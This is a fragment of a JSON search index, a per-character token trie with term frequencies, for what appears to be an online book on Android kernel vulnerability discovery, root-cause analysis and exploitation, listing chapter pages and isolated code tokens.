o":{"docs":{},"r":{"docs":{},"k":{"docs":{},"_":{"docs":{},"d":{"docs":{},"o":{"docs":{},"n":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"e":{"docs":{},"c":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}},"x":{"docs":{},"h":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"\"":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},")":{"0":{"docs":{},")":{"docs":{"chapters/gdb-macros.html":{"ref":"chapters/gdb-macros.html","tf":0.041666666666666664}}}},"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.003920470456454775}},"a":{"docs":{},"r":{"docs":{},"g":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"(":{"docs":{},"(":{"docs":{},"v":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/gdb-macros.html":{"ref":"chapters/gdb-macros.html","tf":0.041666666666666664}}}}}}},"_":{"docs":{},"p":{"docs":{},"t":{"docs":{},"r":{"docs":{},")":{"docs":{"chapters/gdb-macros.html":{"ref":"chapters/gdb-macros.html","tf":0.041666666666666664}}}}}}}}},"*":{"docs":{},"p":{"docs":{},"e":{"docs":{},"p":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"r":{"docs":{},"e":{"docs":{},"t":{"docs":{},"_":{"docs":{},"p":{"docs":{},"o":{"docs":{},"i":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"y":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}}},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}}},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}},"q":{"docs":{},"_":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"y":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}}},"s":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}},"(":{"docs":{},"(":{"docs":{},"i":{"docs":{},"n":{"docs":{},"t":{"6":{"4":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"docs":{}},"docs":{}}}}}}},"+":{"0":{"1":{"0":{"0":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},"docs":{}},"docs":{}},"docs":{}},"1":{"3":{"2":{"docs":{},",":{"2":{"1":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"4":{"3":{"0":{"2":{"docs":{},",":{"1":{"8":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"7":{"6":{"8":{"docs":{},",":{"1":{"2":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"docs":{}}},"docs":{}},"8":{"3":{"docs":{},",":{"1":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.038461538461538464},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.006956521739130435},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.009801176141136937}},"+":{"docs":{},"+":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"=":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"/":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"*":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.05112910097997444},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0094151212553495},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}},"i":{"docs":{},"f":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}},"d":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}},"a":{"docs":{},"t":{"docs":{},"a":{"docs":{},"/":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"a":{"docs":{},"l":{"docs":{},"/":{"docs":{},"t":{"docs":{},"m":{"docs":{},"p":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}},"e":{"docs":{},"v":{"docs":{},"/":{"docs":{},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{},"d":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}},"h":{"docs":{},"o":{"docs":{},"m":{"docs":{},"e":{"docs":{},"/":{"docs":{},"a":{"docs":{},"s":{"docs":{},"h":{"docs":{},"f":{"docs":{},"a":{"docs":{},"q":{"docs":{},"/":{"docs":{},"w":{"docs":{},"o":{"docs":{},"r":{"docs":{},"k":{"docs":{},"s":{"docs":{},"h":{"docs":{},"o":{"docs":{},"p":{"docs":{},"/":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"d":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{},"/":{"docs":{},"a":{"docs":{},"p":{"docs":{},"e":{"docs":{},"x":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939}}}}}}}}}}}}}},"/":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.06412769532343882}}}},":":{"0":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"1":{"2":{"3":{"4":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"'":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"=":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.019173412867490414},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.00463768115942029},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.019115549215406563},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.024082889946793615}},"=":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0022402688322598714}},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{},"=":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"_":{"docs":{},"_":{"docs":{},"r":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"o":{"docs":{},"m":{"docs":{},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{},"_":{"docs":{},"l":{"docs":{},"a":{"docs":{},"y":{"docs":{},"o":{"docs":{},"u":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}},"w":{"docs":{},"_":{"docs":{},"s":{"docs":{},"p":{"docs":{},"i":{"docs":{},"n":{"docs":{},"_":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"i":{"docs":{},"r":{"docs":{},"q":{"docs":{},"s":{"docs":{},"a":{"docs":{},"v":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145}}}}}}}}}}}}}}}}}}}}},"c":{"docs":{},"u":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.002982530890498509},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"e":{"docs":{},"m":{"docs":{},"o":{"docs":{},"v":{"docs":{},"e":{"docs":{},"_":{"docs":{},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},"_":{"docs":{},"q":{"docs":{},"u":{"docs":{},"e":{"docs":{},"u":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"e":{"docs":{},"(":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"w":{"docs":{},"q":{"docs":{},"_":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}}}}}}},"u":{"docs":{},"s":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0019602352282273874}}}}}},"_":{"docs":{},"_":{"docs":{},"f":{"docs":{},"p":{"docs":{},"u":{"docs":{},"t":{"docs":{},"+":{"0":{"docs":{},"x":{"1":{"5":{"docs":{},"/":{"0":{"docs":{},"x":{"1":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{}}}}}}}},"c":{"docs":{},"r":{"docs":{},"c":{"docs":{},"_":{"docs":{},"k":{"docs":{},"a":{"docs":{},"s":{"docs":{},"a":{"docs":{},"n":{"docs":{},"_":{"docs":{},"c":{"docs":{},"h":{"docs":{},"e":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}},"w":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}},"k":{"docs":{},"m":{"docs":{},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"s":{"docs":{},"t":{"docs":{},"o":{"docs":{},"r":{"docs":{},"e":{"docs":{},"_":{"docs":{},"m":{"docs":{},"u":{"docs":{},"l":{"docs":{},"t":{"docs":{},"i":{"docs":{},"_":{"docs":{},"s":{"docs":{},"h":{"docs":{},"o":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}}}}}}},"s":{"docs":{},"a":{"docs":{},"v":{"docs":{},"e":{"docs":{},"_":{"docs":{},"e":{"docs":{},"n":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},"_":{"docs":{},"m":{"docs":{},"u":{"docs":{},"l":{"docs":{},"t":{"docs":{},"i":{"docs":{},"_":{"docs":{},"s":{"docs":{},"h":{"docs":{},"o":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"d":{"docs":{},"u":{"docs":{},"m":{"docs":{},"p":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}},"f":{"docs":{},"p":{"docs":{},"u":{"docs":{},"t":{"docs":{},"+":{"0":{"docs":{},"x":{"1":{"docs":{},"f":{"2":{"docs":{},"/":{"0":{"docs":{},"x":{"5":{"1":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}}},"docs":{}}},"docs":{}}}}}},"k":{"docs":{},"a":{"docs":{},"s":{"docs":{},"a":{"docs":{},"n":{"docs":{},"_":{"docs":{},"k":{"docs":{},"m":{"docs":{},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"+":{"0":{"docs":{},"x":{"1":{"3":{"3":{"docs":{},"/":{"0":{"docs":{},"x":{"1":{"docs":{},"c":{"docs":{},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"p":{"docs":{},"o":{"docs":{},"r":{"docs":{},"t":{"docs":{},"+":{"0":{"docs":{},"x":{"1":{"4":{"docs":{},"f":{"docs":{},"/":{"0":{"docs":{},"x":{"1":{"8":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}}},"docs":{}},"docs":{}}},"docs":{}}}}}}}},"s":{"docs":{},"l":{"docs":{},"a":{"docs":{},"b":{"docs":{},"_":{"docs":{},"f":{"docs":{},"r":{"docs":{},"e":{"docs":{},"e":{"docs":{},"+":{"0":{"docs":{},"x":{"1":{"8":{"docs":{},"f":{"docs":{},"/":{"0":{"docs":{},"x":{"2":{"3":{"docs":{},"f":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"docs":{}},"docs":{}}},"docs":{}}}},"docs":{}},"docs":{}}},"docs":{}}}}}}}}}}}}}}}},"e":{"docs":{},"r":{"docs":{},"n":{"docs":{},"e":{"docs":{},"l":{"docs":{},"_":{"docs":{},"s":{"docs":{},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"b":{"docs":{},"e":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"l":{"docs":{},"(":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"_":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"y":{"docs":{},"(":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"y":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}}},"r":{"docs":{},"a":{"docs":{},"w":{"docs":{},"_":{"docs":{},"s":{"docs":{},"p":{"docs":{},"i":{"docs":{},"n":{"docs":{},"_":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"i":{"docs":{},"r":{"docs":{},"q":{"docs":{},"s":{"docs":{},"a":{"docs":{},"v":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"e":{"docs":{},"+":{"0":{"docs":{},"x":{"3":{"docs":{},"a":{"docs":{},"/":{"0":{"docs":{},"x":{"5":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.00463768115942029},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"docs":{}}},"docs":{}}}},"docs":{}}},"docs":{}}}}}}}}}}}}}}}}}}}}}}},"i":{"docs":{},"o":{"docs":{},"c":{"docs":{},"_":{"docs":{},"s":{"docs":{},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{},"(":{"docs":{},"c":{"docs":{},"m":{"docs":{},"d":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}},"m":{"docs":{},"e":{"docs":{},"m":{"docs":{},"b":{"docs":{},")":{"docs":{"chapters/gdb-macros.html":{"ref":"chapters/gdb-macros.html","tf":0.08333333333333333}},")":{"docs":{},")":{"docs":{"chapters/gdb-macros.html":{"ref":"chapters/gdb-macros.html","tf":0.041666666666666664}}}}}}}}},"t":{"docs":{},"y":{"docs":{},"p":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/gdb-macros.html":{"ref":"chapters/gdb-macros.html","tf":0.041666666666666664}}}}}}}},"y":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"g":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"s":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"{":{"0":{"docs":{},"}":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}}},"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0025564550489987218},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0052173913043478265},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.012268188302425107},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.010361243349201904}},".":{"docs":{},"e":{"docs":{},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}},"n":{"docs":{},"u":{"docs":{},"l":{"docs":{},"l":{"docs":{},"p":{"docs":{},"t":{"docs":{},"r":{"docs":{},"}":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}}}}}}}}}},"}":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.004057971014492754},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0076045627376425855},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.009985734664764621},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.009241108933071968}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.002282453637660485},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}}},"*":{"docs":{},"/":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"@":{"docs":{},"@":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0034782608695652175}}},"h":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},"s":{"docs":{},"y":{"docs":{},"s":{"docs":{},"t":{"docs":{},"e":{"docs":{},"a":{"docs":{},"m":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}},"z":{"docs":{},"e":{"docs":{},"r":{"docs":{},"o":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"/":{"docs":{},"i":{"docs":{},"s":{"docs":{},"s":{"docs":{},"u":{"docs":{},"e":{"docs":{},"s":{"docs":{},"/":{"docs":{},"d":{"docs":{},"e":{"docs":{},"t":{"docs":{},"a":{"docs":{},"i":{"docs":{},"l":{"docs":{},"?":{"docs":{},"i":{"docs":{},"d":{"docs":{},"=":{"1":{"9":{"4":{"2":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}}}}}}}},".":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploita